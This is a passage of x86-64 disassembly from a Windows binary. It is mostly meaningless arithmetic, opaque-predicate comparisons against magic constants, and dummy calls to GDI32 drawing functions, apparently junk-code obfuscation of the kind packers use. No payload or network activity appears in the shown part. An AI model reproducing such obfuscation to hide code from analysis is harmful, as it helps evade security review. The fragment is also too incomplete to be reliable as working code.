mov word [rsp + 0x4274], ax
mov ecx, dword [0x1400f62d8]
mov eax, dword [0x1400f7e28]
add eax, ecx
mov dword [rsp + 0x99c0], eax
movabs rcx, 0x787e78fc35c09b22
mov rax, qword [0x1400f62c8]
sub rax, rcx
mov qword [rsp + 0x4c78], rax
mov ecx, dword [rsp + 0x99c0]
mov eax, dword [0x1400f62d8]
sub eax, ecx
mov dword [0x1400f7e28], eax
movsx eax, word [rsp + 0x4274]
sar eax, 1
mov word [rsp + 0x4274], ax
movzx eax, word [rsp + 0xa8b0]
xor eax, 0xe16
mov word [rsp + 0x15c4], ax
mov eax, dword [0x1400f7e28]
movzx ecx, al
mov eax, dword [0x1400f62d8]
shl eax, cl
mov dword [rsp + 0x99c0], eax
movzx eax, word [rsp + 0xa8b0]
or eax, 0xb7b
mov word [rsp + 0x15c4], ax
movzx eax, byte [0x1400f758a]
and eax, 0x71
mov byte [0x1400f758a], al
movzx eax, word [rsp + 0x15c4]
add eax, 0xe8d
mov word [rsp + 0xa8b0], ax
movsx eax, word [rsp + 0x4274]
sub eax, 0x4962
mov word [rsp + 0x4274], ax
movzx eax, byte [0x1400f758a]
and eax, 0x29
mov byte [0x1400f758a], al
movzx eax, word [rsp + 0x15c4]
add eax, 0x5b7
mov word [rsp + 0xa8b0], ax
mov ecx, dword [0x1400f7e28]
mov eax, dword [0x1400f62d8]
sub eax, ecx
mov dword [rsp + 0x99c0], eax
movabs rcx, 0x2804d639c47b8e31
mov rax, qword [0x1400f62d0]
add rax, rcx
mov qword [0x1400f62d0], rax
movzx eax, word [rsp + 0x15c4]
sub eax, 0xd54
mov word [rsp + 0xa8b0], ax
movsx eax, word [rsp + 0x4274]
add eax, 0x2de7
mov word [rsp + 0x4274], ax
movsx eax, word [rsp + 0x4274]
xor eax, 0x85
mov word [rsp + 0x4274], ax
movzx eax, byte [0x1400f758a]
shl eax, 4
mov byte [0x1400f758a], al
movsx eax, word [rsp + 0x4274]
sar eax, 7
mov word [rsp + 0x4274], ax
mov ecx, dword [rsp + 0xee0]
mov eax, dword [rsp + 0xb360]
or eax, ecx
mov dword [rsp + 0x4af4], eax
movabs rcx, 0x53b355f84f503f4b
mov rax, qword [0x1400f62d0]
and rax, rcx
mov qword [0x1400f62d0], rax
movsx eax, word [rsp + 0x4274]
add eax, 0xab9
mov word [rsp + 0x4274], ax
movzx eax, word [rsp + 0x15c4]
sub eax, 0xcca
mov word [rsp + 0xa8b0], ax
movabs rcx, 0x7d5beda0a63fcbf7
mov rax, qword [rsp + 0x4c78]
sub rax, rcx
mov qword [0x1400f62c8], rax
movzx eax, word [rsp + 0x15c4]
add eax, 0xd1a
mov word [rsp + 0xa8b0], ax
mov ecx, dword [rsp + 0xee0]
mov eax, dword [rsp + 0x4af4]
and eax, ecx
mov dword [rsp + 0xb360], eax
mov ecx, dword [0x1400f7e28]
mov eax, dword [0x1400f62d8]
add eax, ecx
mov dword [rsp + 0x99c0], eax
movzx eax, word [rsp + 0x15c4]
sub eax, 0xc0f
mov word [rsp + 0xa8b0], ax
mov ecx, dword [0x1400f62d8]
mov eax, dword [0x1400f7e28]
add eax, ecx
mov dword [rsp + 0x99c0], eax
movzx eax, word [rsp + 0xa8b0]
sub eax, 0x335
mov word [rsp + 0x15c4], ax
movzx eax, word [rsp + 0xa8b0]
shl eax, 3
mov word [rsp + 0x15c4], ax
mov ecx, dword [rsp + 0xb360]
mov eax, dword [rsp + 0xee0]
or eax, ecx
mov dword [rsp + 0x4af4], eax
mov eax, dword [rsp + 0xf00]
add eax, 0xb1
mov dword [rsp + 0xf00], eax
movzx eax, word [rsp + 0x15c4]
sar eax, 0xe
mov word [rsp + 0xa8b0], ax
movabs rcx, 0xbe74e07b330560
mov rax, qword [0x1400f62d0]
xor rax, rcx
mov qword [0x1400f62d0], rax
mov ecx, dword [0x1400f62d8]
mov eax, dword [0x1400f7e28]
and eax, ecx
mov dword [rsp + 0x99c0], eax
mov ecx, dword [0x1400f62d8]
mov eax, dword [0x1400f7e28]
add eax, ecx
mov dword [rsp + 0x99c0], eax
movsx eax, word [rsp + 0x4274]
sub eax, 0x1325
mov word [rsp + 0x4274], ax
cmp dword [rsp + 0xf00], 0xbe0f
jbe 0x14003aa48
cmp dword [rsp + 0xa0fc], 0x4663
jbe 0x14003afc2
movabs rcx, 0x611ba1a0328f6859
mov rax, qword [0x1400f62c8]
add rax, rcx
mov qword [rsp + 0x4c78], rax
movzx eax, word [rsp + 0xa8b0]
sub eax, 0x578
mov word [rsp + 0x15c4], ax
movsx eax, word [rsp + 0x4274]
sub eax, 0x3e86
mov word [rsp + 0x4274], ax
movzx eax, word [rsp + 0x15c4]
and eax, 0x35b
mov word [rsp + 0xa8b0], ax
mov eax, dword [rsp + 0xa0fc]
sub eax, 0xdd
mov dword [rsp + 0xa0fc], eax
movabs rcx, 0x770c9737c0f00b5d
mov rax, qword [0x1400f62c8]
add rax, rcx
mov qword [rsp + 0x4c78], rax
movabs rcx, 0x3e8682f9c3ba897e
mov rax, qword [0x1400f62d0]
sub rax, rcx
mov qword [0x1400f62d0], rax
mov ecx, dword [rsp + 0x4af4]
mov eax, dword [rsp + 0xee0]
add eax, ecx
mov dword [rsp + 0xb360], eax
movabs rcx, 0x1dfa84c451587d83
mov rax, qword [0x1400f62c8]
or rax, rcx
mov qword [rsp + 0x4c78], rax
movzx eax, word [rsp + 0x15c4]
sar eax, 0xc
mov word [rsp + 0xa8b0], ax
movsx eax, word [rsp + 0x4274]
xor eax, 0x4d4
mov word [rsp + 0x4274], ax
mov eax, dword [0x1400f62d8]
movzx ecx, al
mov eax, dword [0x1400f7e28]
shl eax, cl
mov dword [rsp + 0x99c0], eax
movzx eax, word [rsp + 0xa8b0]
and eax, 0x9f9
mov word [rsp + 0x15c4], ax
mov ecx, dword [rsp + 0xee0]
mov eax, dword [rsp + 0xb360]
sub eax, ecx
mov dword [rsp + 0x4af4], eax
movabs rcx, 0x609736dbe9a2eedc
mov rax, qword [0x1400f62c8]
add rax, rcx
mov qword [rsp + 0x4c78], rax
mov eax, dword [rsp + 0x4af4]
mov dword [rsp + 0xee0], eax
movabs rcx, 0x4d33c583fc403d0e
mov rax, qword [0x1400f62c8]
add rax, rcx
mov qword [rsp + 0x4c78], rax
mov ecx, dword [0x1400f7e28]
mov eax, dword [0x1400f62d8]
sub eax, ecx
mov dword [rsp + 0x99c0], eax
movzx eax, word [rsp + 0xa8b0]
sub eax, 0xf59
mov word [rsp + 0x15c4], ax
movabs rcx, 0x6bb9ffbff3b0dd10
mov rax, qword [0x1400f62c8]
sub rax, rcx
mov qword [rsp + 0x4c78], rax
movzx eax, word [rsp + 0x15c4]
and eax, 0x82d
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0x15c4]
add eax, 0x8fc
mov word [rsp + 0xa8b0], ax
jmp 0x14003adb2
mov rax, qword [rsp + 0x4c78]
mov qword [rsp + 0xb9a8], rax
movabs rax, 0xb0b08d4e13eecca7
cmp qword [rsp + 0xb9a8], rax
je 0x14003afeb
jmp 0x14003b0bf
movzx eax, byte [0x1400f758a]
shl eax, 0xa
cmp eax, 0x52
jge 0x14003b0b2
mov eax, dword [rsp + 0x99c0]
mov dword [rsp + 0xb9b0], eax
cmp dword [rsp + 0xb9b0], 0x832918dc
je 0x14003b088
cmp dword [rsp + 0xb9b0], 0x8560c815
je 0x14003b02b
jmp 0x14003b0b2
mov rax, qword [rsp + 0x4c78]
mov qword [rsp + 0x40d8], rax
mov dword [rsp + 0x6d68], 0x128c
mov rax, qword [0x1400f62d0]
mov qword [rsp + 0x6e48], rax
mov dword [rsp + 0x3fa8], 0x83e9
lea rax, [rsp + 0x99c0]
mov qword [rsp + 0x9238], rax
mov dword [rsp + 0x610], 0x4ab6
mov dword [rsp + 0x20e0], 0x3ee1
jmp 0x14003b0b2
mov rax, qword [rsp + 0x40d8]
mov qword [rsp + 0x20], rax
mov r9b, 0x42
mov rax, qword [rsp + 0x9238]
mov r8d, dword [rax]
mov dl, 0x8b
mov rcx, qword [rsp + 0x4c78]
call fcn.1400b5a80
mov dword [rsp + 0x9f70], 0x1fe8
jmp 0x14003b114
lea r9, [rsp + 0x4ba8]
mov r8d, 0x17
mov edx, 0xa2
mov rcx, qword [rsp + 0x4ba8]
call qword [sym.imp.GDI32.dll_AnimatePalette]
mov dword [rsp + 0x288], eax
mov eax, dword [0x1400f62d8]
movzx ecx, al
mov eax, dword [rsp + 0x99c0]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov dl, 0x90
movzx ecx, word [rsp + 0x4274]
call fcn.1400b55e0
mov dword [rsp + 0xac34], 0x8401
mov rcx, qword [rsp + 0x9238]
mov eax, dword [0x1400f7e28]
mov ecx, dword [rcx]
or ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov eax, dword [0x1400f7e28]
mov ecx, dword [rsp + 0x99c0]
xor ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movsx eax, word [rsp + 0x4274]
add eax, 0x4c1b
mov word [rsp + 0x4274], ax
mov rcx, qword [0x1400f62c8]
mov rax, qword [rsp + 0x40d8]
sub rax, rcx
mov qword [rsp + 0x4c78], rax
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [0x1400f62d8]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov eax, dword [0x1400f7e28]
mov ecx, dword [rsp + 0x99c0]
add ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov eax, dword [0x1400f7e28]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movsx eax, word [rsp + 0x4274]
sub eax, 0x11a5
mov word [rsp + 0x4274], ax
mov eax, dword [0x1400f7e28]
mov ecx, dword [rsp + 0x99c0]
add ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov eax, dword [rsp + 0x6d68]
add eax, 0xd5
mov dword [rsp + 0x6d68], eax
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x99c0]
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov eax, dword [0x1400f62d8]
mov ecx, dword [rsp + 0x99c0]
or ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov eax, dword [0x1400f62d8]
movzx ecx, al
mov eax, dword [rsp + 0x99c0]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
cmp dword [rsp + 0x6d68], 0x33d4
jne 0x14003b11f
cmp dword [rsp + 0x3fa8], 0x78c8
jb 0x14003b613
mov rax, qword [rsp + 0x9238]
mov ecx, dword [0x1400f62d8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x99c0], eax
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x99c0]
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movabs rcx, 0x10dc08acc32f3c78
mov rax, qword [0x1400f62d0]
sub rax, rcx
mov qword [rsp + 0x6e48], rax
movzx eax, word [rsp + 0xa8b0]
and eax, 0x326
mov word [rsp + 0x15c4], ax
movsx eax, word [rsp + 0x4274]
add eax, 0x490a
mov word [rsp + 0x4274], ax
mov eax, dword [rsp + 0x3fa8]
sub eax, 0x4d
mov dword [rsp + 0x3fa8], eax
movzx eax, word [rsp + 0x15c4]
sub eax, 0xe39
mov word [rsp + 0xa8b0], ax
mov eax, dword [0x1400f62d8]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movzx eax, word [rsp + 0x15c4]
add eax, 0xeea
mov word [rsp + 0xa8b0], ax
mov ecx, dword [rsp + 0x4af4]
mov eax, dword [rsp + 0xee0]
add eax, ecx
mov dword [rsp + 0xb360], eax
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x99c0]
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
mov eax, dword [0x1400f7e28]
sub eax, ecx
mov dword [rsp + 0x99c0], eax
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x99c0]
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movzx eax, word [rsp + 0xa8b0]
shl eax, 2
mov word [rsp + 0x15c4], ax
movsx eax, word [rsp + 0x4274]
xor eax, 0x2562
mov word [rsp + 0x4274], ax
mov eax, dword [0x1400f62d8]
mov ecx, dword [rsp + 0x99c0]
or ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movzx eax, byte [0x1400f758a]
sar eax, 7
mov byte [0x1400f758a], al
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x9238]
mov eax, dword [0x1400f7e28]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [0x1400f62c8]
mov rax, qword [rsp + 0x40d8]
add rax, rcx
mov qword [rsp + 0x4c78], rax
mov ecx, dword [rsp + 0xb360]
mov eax, dword [rsp + 0xee0]
sub eax, ecx
mov dword [rsp + 0x4af4], eax
mov eax, dword [0x1400f7e28]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movsx eax, word [rsp + 0x4274]
add eax, 0x1108
mov word [rsp + 0x4274], ax
mov eax, dword [0x1400f62d8]
mov ecx, dword [rsp + 0x99c0]
add ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x99c0]
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
or ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movabs rcx, 0x5946843e89d674a
mov rax, qword [0x1400f62d0]
xor rax, rcx
mov qword [rsp + 0x6e48], rax
mov ecx, dword [rsp + 0x99c0]
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov eax, dword [0x1400f7e28]
mov ecx, dword [rsp + 0x99c0]
and ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov eax, dword [0x1400f7e28]
mov ecx, dword [rsp + 0x99c0]
add ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov ecx, dword [rsp + 0xee0]
mov eax, dword [rsp + 0xb360]
sub eax, ecx
mov dword [rsp + 0x4af4], eax
jmp 0x14003b2cd
mov rax, qword [rsp + 0x40d8]
mov qword [rsp + 0xb9b8], rax
movabs rax, 0xb0b08d4e13eecca7
cmp qword [rsp + 0xb9b8], rax
je 0x14003b63c
jmp 0x1400b4d80
movabs rcx, 0x3175a2b19e8b4096
mov rax, qword [rsp + 0x6e48]
sub rax, rcx
cmp rax, qword [0x1400f62d0]
jg 0x1400b4d40
mov ecx, dword [rsp + 0xee0]
mov eax, dword [rsp + 0xb360]
xor eax, ecx
mov dword [rsp + 0x4af4], eax
mov eax, dword [0x1400f7e28]
movzx ecx, al
mov eax, dword [rsp + 0x99c0]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov eax, dword [0x1400f62d8]
movzx ecx, al
mov eax, dword [rsp + 0x99c0]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movzx eax, word [rsp + 0xa8b0]
and eax, 0xf
mov word [rsp + 0x15c4], ax
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
add ecx, dword [0x1400f7e28]
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movsx eax, word [rsp + 0x4274]
sub eax, 0x36c8
mov word [rsp + 0x4274], ax
mov rcx, qword [rsp + 0x4c78]
mov rax, qword [0x1400f62c8]
sub rax, rcx
mov qword [rsp + 0x40d8], rax
mov ecx, dword [0x1400f62d8]
mov eax, dword [0x1400f7e28]
add eax, ecx
mov dword [rsp + 0x99c0], eax
mov ecx, dword [rsp + 0xb360]
mov eax, dword [rsp + 0x4af4]
and eax, ecx
mov dword [rsp + 0xee0], eax
movabs rcx, 0x48d3aa59b5dab5dd
mov rax, qword [0x1400f62d0]
add rax, rcx
mov qword [rsp + 0x6e48], rax
mov eax, dword [0x1400f62d8]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movsx eax, word [rsp + 0x4274]
add eax, 0x5a85
mov word [rsp + 0x4274], ax
mov eax, dword [0x1400f62d8]
movzx ecx, al
mov eax, dword [rsp + 0x99c0]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov ecx, dword [0x1400f62d8]
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x99c0], eax
movzx eax, word [rsp + 0x15c4]
xor eax, 0xf4
mov word [rsp + 0xa8b0], ax
mov eax, dword [0x1400f7e28]
mov ecx, dword [rsp + 0x99c0]
or ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov eax, dword [0x1400f62d8]
mov ecx, dword [rsp + 0x99c0]
and ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [0x1400f62c8]
mov rax, qword [rsp + 0x40d8]
sub rax, rcx
mov qword [rsp + 0x4c78], rax
mov ecx, dword [rsp + 0xee0]
mov eax, dword [rsp + 0xb360]
sub eax, ecx
mov dword [rsp + 0x4af4], eax
movzx eax, word [rsp + 0xa8b0]
sub eax, 0xb93
mov word [rsp + 0x15c4], ax
movsx eax, word [rsp + 0x4274]
add eax, 0x21bd
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x99c0]
add eax, ecx
mov dword [0x1400f62d8], eax
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x99c0]
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x9238]
mov eax, dword [0x1400f62d8]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
add eax, dword [0x1400f62d8]
mov dword [rsp + 0x99c0], eax
mov eax, dword [rsp + 0xc30]
add eax, 0x23
mov dword [rsp + 0xc30], eax
mov rax, qword [0x1400f62d0]
shl rax, 0x32
mov qword [rsp + 0x6e48], rax
mov rcx, qword [0x1400f62c8]
mov rax, qword [rsp + 0x40d8]
or rax, rcx
mov qword [rsp + 0x4c78], rax
cmp dword [rsp + 0xc30], 0xf3f6
jbe 0x14003b65e
cmp dword [rsp + 0x9f70], 0x1e08
jb 0x14003ba6d
mov eax, dword [rsp + 0x9f70]
sub eax, 0x30
mov dword [rsp + 0x9f70], eax
mov ecx, dword [rsp + 0xee0]
mov eax, dword [rsp + 0xb360]
xor eax, ecx
mov dword [rsp + 0x4af4], eax
movzx eax, word [rsp + 0x15c4]
sar eax, 1
mov word [rsp + 0xa8b0], ax
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movabs rcx, 0x68ec1cb5ce87d87a
mov rax, qword [rsp + 0x6e48]
and rax, rcx
mov qword [0x1400f62d0], rax
mov eax, dword [0x1400f62d8]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
add ecx, dword [0x1400f62d8]
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov eax, dword [0x1400f62d8]
mov ecx, dword [rsp + 0x99c0]
add ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [0x1400f62c8]
mov rax, qword [rsp + 0x4c78]
add rax, rcx
mov qword [rsp + 0x40d8], rax
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov eax, dword [0x1400f7e28]
mov ecx, dword [rsp + 0x99c0]
add ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
mov eax, dword [0x1400f7e28]
sub eax, ecx
mov dword [rsp + 0x99c0], eax
jmp 0x14003b92f
lea rax, [0x1400f758a]
mov qword [0x1400f7f18], rax
mov rax, qword [rsp + 0x4c78]
mov qword [rsp + 0xb9c0], rax
movabs rax, 0x963dc2beb28dff28
cmp qword [rsp + 0xb9c0], rax
je 0x14003baa1
jmp 0x14003bb02
mov eax, dword [0x1400f62d8]
mov ecx, dword [rsp + 0x99c0]
and ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov dword [rsp + 0x20], 0xe8
mov r9d, 8
mov r8d, 0x91
mov edx, 0x7e
mov rcx, qword [rsp + 0x2f70]
call qword [sym.imp.GDI32.dll_ExtFloodFill]
mov dword [rsp + 0x1d80], eax
movsx eax, word [rsp + 0x4274]
or eax, 0xbb
mov word [rsp + 0x4274], ax
jmp 0x1400b4d0c
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
shl ecx, 3
movzx eax, byte [0x1400f758a]
cmp ecx, eax
jg 0x14003bce6
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
mov edx, dword [0x1400f62d8]
xor edx, eax
mov ecx, dword [0x1400f7e28]
mov eax, dword [rsp + 0x99c0]
sub eax, ecx
cmp edx, eax
ja 0x14003bc90
lea rax, [rsp + 0x4274]
mov qword [rsp + 0x8ba0], rax
mov dword [rsp + 0x7234], 0x2f40
movsx eax, word [rsp + 0x4274]
mov dword [rsp + 0xb9c8], eax
cmp dword [rsp + 0xb9c8], 0xffffc8dc
je 0x14003bb94
cmp dword [rsp + 0xb9c8], 0x82f
je 0x14003bc72
jmp 0x14003bc8e
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
sub ecx, 0xc39
movsx eax, word [rsp + 0x4274]
cmp ecx, eax
jl 0x14003bc60
mov eax, dword [0x1400f7e28]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov edx, 0x2c
mov rcx, qword [rsp + 0xa18]
call qword [sym.imp.GDI32.dll_SetBkMode]
mov dword [rsp + 0x4af4], eax
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x4274]
add ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov ecx, dword [rsp + 0x4af4]
mov eax, dword [rsp + 0xb360]
add eax, ecx
mov dword [rsp + 0xee0], eax
lea r9, [rsp + 0xb030]
mov r8d, 0xe3
mov edx, 0x3a
mov rcx, qword [rsp + 0xa18]
call qword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov dword [rsp + 0x2cb8], eax
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [0x1400f7e28]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
lea rax, [rsp + 0x4274]
mov qword [rsp + 0x3ba8], rax
jmp 0x14003bc8e
movabs rcx, 0x49e84b9c2ce7cf82
mov rax, qword [rsp + 0x6e48]
sub rax, rcx
mov qword [0x1400f62d0], rax
jmp 0x14003bcd9
mov eax, dword [0x1400f7e28]
mov edx, dword [rsp + 0x99c0]
add edx, eax
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
mov eax, dword [0x1400f62d8]
and eax, ecx
cmp edx, eax
ja 0x14003bcd9
mov r9, qword [0x1400f62c8]
mov r8, qword [rsp + 0x6e48]
mov rdx, qword [rsp + 0x6e48]
mov rcx, qword [rsp + 0x6e48]
call fcn.1400b5010
mov dword [rsp + 0x82e8], 0x6514
jmp 0x14003bd58
mov dword [rsp + 0x20], 0xec
mov r9d, 0x6c
mov r8, qword [rsp + 0x5da0]
mov rdx, qword [rsp + 0xadc8]
mov rcx, qword [rsp + 0x2f70]
call qword [sym.imp.GDI32.dll_FrameRgn]
mov dword [rsp + 0x288], eax
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x99c0]
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov r9, qword [rsp + 0x4c78]
mov r8, qword [0x1400f62d0]
mov rdx, qword [rsp + 0x6e48]
mov rcx, qword [rsp + 0x6e48]
call fcn.1400b5010
mov dword [rsp + 0x1ab4], 0x62bc
mov rax, qword [rsp + 0x3ba8]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x4274]
add ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov eax, dword [0x1400f62d8]
movzx ecx, al
mov eax, dword [rsp + 0x99c0]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov eax, dword [rsp + 0x7234]
sub eax, 0xbe
mov dword [rsp + 0x7234], eax
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x99c0]
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov ecx, dword [0x1400f7e28]
mov eax, dword [0x1400f62d8]
sub eax, ecx
mov dword [rsp + 0x99c0], eax
mov rax, qword [rsp + 0x3ba8]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x4274]
add ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov rcx, qword [rsp + 0x40d8]
mov rax, qword [rsp + 0x4c78]
and rax, rcx
mov qword [0x1400f62c8], rax
mov rax, qword [rsp + 0x3ba8]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x4274]
add ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov eax, dword [0x1400f7e28]
mov ecx, dword [rsp + 0x99c0]
add ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [0x1400f62d8]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
cmp dword [rsp + 0x7234], 0x21e4
jae 0x14003bd63
lea rax, [0x1400f7e28]
mov qword [rsp + 0x1a10], rax
lea rax, [rsp + 0x4c78]
mov qword [rsp + 0x6f90], rax
mov ecx, dword [rsp + 0x4af4]
mov eax, dword [rsp + 0xee0]
sub eax, ecx
mov dword [rsp + 0xb360], eax
mov dword [rsp + 0x8b2c], 0x8f0a
lea rax, [rsp + 0x4274]
mov qword [rsp + 0x3430], rax
mov dword [rsp + 0xad18], 0xa37
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
mov qword [rsp + 0xb9d0], rax
movabs rax, 0xf963fb4f9e3fed0d
cmp qword [rsp + 0xb9d0], rax
je 0x14003bf67
jmp 0x14003bfe8
movzx eax, word [rsp + 0xa8b0]
sub eax, 0x9c7
mov word [rsp + 0x15c4], ax
mov al, byte [0x1400f758a]
mov byte [rsp + 0xb9d8], al
cmp byte [rsp + 0xb9d8], 0xa7
je 0x14003bfc9
cmp byte [rsp + 0xb9d8], 0xd0
je 0x14003bf9f
jmp 0x14003bfe3
mov rax, qword [0x1400f7f18]
movzx edx, byte [rax]
movzx eax, byte [0x1400f758a]
